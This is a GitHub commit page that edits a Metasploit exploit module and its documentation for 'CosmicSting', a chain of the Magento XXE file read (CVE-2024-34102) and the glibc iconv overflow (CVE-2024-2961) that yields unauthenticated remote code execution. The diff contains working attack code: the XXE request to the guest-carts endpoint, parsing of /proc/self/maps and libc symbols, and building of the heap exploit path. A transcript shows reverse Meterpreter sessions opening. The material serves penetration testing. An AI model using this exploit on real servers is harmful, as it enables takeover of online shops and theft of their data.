Skip to content

Commit

Permalink
Test and respond to comments
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Oct 10, 2024
1 parent b72f70c commit dab5d66
Show file tree
Hide file tree
Showing 3 changed files with 97 additions and 80 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -2,29 +2,26 @@
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
earlier if the PHP and glibc versions are also vulnerable:
- 2.4.7 and earlier
- 2.4.6-p5 and earlier
- 2.4.5-p7 and earlier
- 2.4.4-p8 and earlier
- 2.4.7 and earlier
- 2.4.6-p5 and earlier
- 2.4.5-p7 and earlier
- 2.4.4-p8 and earlier

Vulenerable PHP versions:
- From PHP 7.0.0 (2015) to 8.3.7 (2024)
Vulnerable PHP versions:
- From PHP 7.0.0 (2015) to 8.3.7 (2024)

Vulnerable iconv() function in the GNU C Library:
- 2.39 and earlier
- 2.39 and earlier

The exploit chain is quite interesting and for more detailed information I suggest reading the links in the
references. I'll give a very brief over view. CVE-2024-34102 is and XML External Entity vulnerability which
leverages PHP filters to read arbitrary files off the target system. The exploit chain uses this to read
/proc/self/maps off the system which provides the address of PHP's heap and the filename of the libc. Then
using the file read again the libc binary is downloaded and the exploit extracts the address and offset of the
following functions which are used to write the payload: libc_malloc, libc_system and libc_realloc.
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
of later in the chain.

With this information and expert knowledge of PHP, it's: chunks, free lists, buckets, bucket brigades and how
all such things are are stored in memory and affected by PHP filters, CVE-2024-2961 can then be exploited. A
long chain of PHP filters is constructed and sent in the same way the XXE is exploited which allows for; a
payload to be written to memory and for the buffer overflow to be exploited in order to redirect execution to
obtain RCE.
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.

### Setup

Expand Down Expand Up @@ -100,7 +97,7 @@ exploits the Arbitrary File Read vulnerability CVE-2024-34102.
1. Receive 3 Meterpreter sessions as the `daemon` user.

## Scenarios
###
### Magento/2.4 (Community) running PHP 8.2.17, GLIBC 2.36-9+deb12u4
```
msf6 > use magento_xxe_to_glibc_buf_overflow
Expand All @@ -109,7 +106,7 @@ Matching Modules
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/magento_xxe_to_glibc_buf_overflow 1970-01-01 excellent No CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)
0 exploit/linux/http/magento_xxe_to_glibc_buf_overflow 2024-07-26 excellent No CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/magento_xxe_to_glibc_buf_overflow
Expand All @@ -123,8 +120,7 @@ fetch_srvhost => 172.16.199.130
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost
rhost => localhost
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run
[*] Exploit running as background job 6.
[*] Exploit running as background job 8.
[*] Started reverse TCP handler on 172.16.199.130:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using URL: http://172.16.199.130:8080/
Expand All @@ -137,12 +133,12 @@ msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) >
[*] Attempting to parse libc to extract necessary symbols and addresses
[*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps
[*] Sending payload...
[*] Sending stage (3045380 bytes) to 172.25.0.4
[*] Sending stage (3045380 bytes) to 172.25.0.4
[*] Sending stage (3045380 bytes) to 172.25.0.4
[*] Meterpreter session 4 opened (172.16.199.130:4444 -> 172.25.0.4:41354) at 2024-10-09 11:26:31 -0700
[*] Meterpreter session 5 opened (172.16.199.130:4444 -> 172.25.0.4:41366) at 2024-10-09 11:26:31 -0700
[*] Meterpreter session 6 opened (172.16.199.130:4444 -> 172.25.0.4:41370) at 2024-10-09 11:26:31 -0700
[*] Sending stage (3045380 bytes) to 172.30.0.4
[*] Sending stage (3045380 bytes) to 172.30.0.4
[*] Sending stage (3045380 bytes) to 172.30.0.4
[*] Meterpreter session 1 opened (172.16.199.130:4444 -> 172.30.0.4:35510) at 2024-10-09 22:25:38 -0700
[*] Meterpreter session 2 opened (172.16.199.130:4444 -> 172.30.0.4:35520) at 2024-10-09 22:25:38 -0700
[*] Meterpreter session 3 opened (172.16.199.130:4444 -> 172.30.0.4:35524) at 2024-10-09 22:25:38 -0700
[*] Server stopped.
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1
Expand Down
36 changes: 36 additions & 0 deletions lib/msf/core/exploit/remote/http/magento.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
module Msf
class Exploit
class Remote
module HTTP
module Magento
def initialize(info = {})
super
end

# Extracts the Magento version information from the /magento_version page
#
# @return [Hash] Containing the keys 'version' and 'edition'
def magento_version
vprint_status('Trying to get the Magento version')

# request to check if the target is vulnerable /magento_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/magento_version')
})

return unless res&.code == 200

# Magento/2.4 (Community)
version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first

version = Rex::Version.new(version)

{ 'version' => version, 'edition' => edition }
end

end
end
end
end
end
89 changes: 37 additions & 52 deletions modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Magento
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
require 'elftools'
Expand Down Expand Up @@ -38,13 +39,14 @@ def initialize(info = {})
Vulnerable iconv() function in the GNU C Library:
- 2.39 and earlier
The exploit chain is quite interesting and for more detailed information check out the
references. The tl;dr being: CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target system. The exploit chain uses this to read
/proc/self/maps, providing the address of PHP's heap and the libc's filename.
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use of later in the chain.
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
of later in the chain.
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961 can be exploited. A
long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.
},
'Author' => [
Expand Down Expand Up @@ -95,34 +97,22 @@ def initialize(info = {})
end

def check_magento_version
vprint_status('Trying to get the Magento version')

# request to check if the target is vulnerable /magento_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/magento_version')
})

return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200

# Magento/2.4 (Community)
version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first

version = Rex::Version.new(version)

return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless
version <= (Rex::Version.new('2.4.7')) ||
version <= (Rex::Version.new('2.4.6-p5')) ||
version <= (Rex::Version.new('2.4.5-p7')) ||
version <= (Rex::Version.new('2.4.4-p8')) ||
version_info = magento_version
return CheckCode::Unknown('Could not detect the version.') unless version_info

return CheckCode::Safe("Detected Magento #{version_info['edition']} edition version #{version_info['version']} which is not vulnerable") unless
version_info['version'] <= (Rex::Version.new('2.4.7')) ||
version_info['version'] <= (Rex::Version.new('2.4.6-p5')) ||
version_info['version'] <= (Rex::Version.new('2.4.5-p7')) ||
version_info['version'] <= (Rex::Version.new('2.4.4-p8')) ||
(
edition == 'Enterprise' && (
version <= (Rex::Version.new('2.4.3-ext-7')) ||
version <= (Rex::Version.new('2.4.2-ext-7'))
version_info['edition'] == 'Enterprise' && (
version_info['version'] <= (Rex::Version.new('2.4.3-ext-7')) ||
version_info['version'] <= (Rex::Version.new('2.4.2-ext-7'))
)
)

CheckCode::Appears("Exploit precondition 1/3 met: Detected Magento #{edition} edition version #{version} which is vulnerable.")
CheckCode::Appears("Exploit precondition 1/3 met: Detected Magento #{version_info['edition']} edition version #{version_info['version']} which is vulnerable.")
end

def check_php_rce_requirements
Expand All @@ -134,7 +124,7 @@ def check_php_rce_requirements
if result1 == text
vprint_good('The data wrapper is working')
else
return CheckCode::Safe('The [i]data://[/] wrapper does not work')
return CheckCode::Safe('The data:// wrapper does not work')
end

text = Rex::Text.rand_text_alpha(50)
Expand All @@ -145,7 +135,7 @@ def check_php_rce_requirements
if result2 == text
vprint_good('The filter wrapper is working')
else
return CheckCode::Safe('The [i]php://filter/[/] wrapper does not work')
return CheckCode::Safe('The php://filter/ wrapper does not work')
end

text = Rex::Text.rand_text_alpha(50)
Expand All @@ -155,9 +145,9 @@ def check_php_rce_requirements
path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"
result3 = download_file(path)
if result3 == text
vprint_good('the zlib filter is working')
vprint_good('The zlib extension is enabled')
else
CheckCode::Safe('The [i]php://filter/[/] wrapper does not work')
CheckCode::Safe('The zlib extension is not enabled')
end
CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')
end
Expand Down Expand Up @@ -186,9 +176,9 @@ def check_libc_version
print_bad('Libc Version NOT FOUND') unless libc_version

if libc_version > Rex::Version.new('2.39')
CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")
CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")
end

CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")
end

Expand Down Expand Up @@ -256,13 +246,7 @@ def send_path(path)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/test-ambio/estimate-shipping-methods'),
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'Connection' => 'keep-alive'
},
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),
'ctype' => 'application/json',
'data' => JSON.generate(json)
})
Expand Down Expand Up @@ -334,20 +318,20 @@ def get_symbols_and_addresses
symtab_section = elf.section_by_name('.dynsym')
symbols = symtab_section.symbols

@info['libc_malloc'] = nil
@info['libc_system'] = nil
@info['libc_realloc'] = nil
@info['__libc_malloc'] = nil
@info['__libc_system'] = nil
@info['__libc_realloc'] = nil

symbols.each do |symbol|
if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name
@info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]
end
end

fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['libc_malloc'] && @info['libc_system'] && @info['libc_realloc']
vprint_status("libc_malloc: #{@info['libc_malloc']}")
vprint_status("libc_system: #{@info['libc_system']}")
vprint_status("libc_realloc: #{@info['libc_realloc']}")
fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']
vprint_status("__libc_malloc: #{@info['__libc_malloc']}")
vprint_status("__libc_system: #{@info['__libc_system']}")
vprint_status("__libc_realloc: #{@info['__libc_realloc']}")
end

def get_regions
Expand All @@ -369,9 +353,10 @@ def get_regions
permissions = match[3]
path = match[4]

path = ''
if path.include?('/') || path.include?('[')
path = path.split(' ', 4).last
else
path = ''
end

current = {
Expand Down Expand Up @@ -520,7 +505,7 @@ def build_exploit_path
size: cs
)

step4_custom_heap = ptr_bucket(@info['libc_malloc'], @info['libc_system'], @info['libc_realloc'], size: 0x18)
step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)
step4_use_custom_heap_size = 0x140
command = payload.encoded

Expand Down

0 comments on commit dab5d66

Please sign in to comment.